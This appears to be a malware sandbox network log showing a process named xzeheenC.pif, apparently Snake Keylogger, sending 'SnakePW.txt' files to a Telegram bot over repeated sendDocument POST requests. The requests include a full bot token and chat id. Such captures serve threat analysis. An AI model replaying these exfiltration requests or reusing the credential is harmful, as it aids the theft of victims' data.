2024-12-18 15:18:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:26 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:26 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418946,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535106,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50022	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:25 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd224dea6ac3fc Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:25 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 34 64 65 61 36 61 63 33 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd224dea6ac3fcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:26 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:26 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418947,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535106,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50021	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:25 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2410d566cb44 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:25 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 31 30 64 35 36 36 63 62 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2410d566cb44Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:26 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:26 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418949,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535106,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50028	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:27 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2253ee1debeb Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:27 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 35 33 65 65 31 64 65 62 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2253ee1debebContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:28 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:28 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418952,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535108,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50029	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:27 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd227b407d5dfd Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:27 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 37 62 34 30 37 64 35 64 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd227b407d5dfdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:28 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:28 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418953,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535108,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50030	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:27 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2470cc4c7c4c Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:27 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 37 30 63 63 34 63 37 63 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2470cc4c7c4cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:28 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:28 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418955,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535108,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50037	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:29 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd228686aed571 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:29 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 38 36 38 36 61 65 64 35 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd228686aed571Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:30 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:30 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418958,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535109,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50038	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:29 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd22ac30a66dbf Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:29 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 61 63 33 30 61 36 36 64 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd22ac30a66dbfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:30 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:30 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418959,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535110,"documen

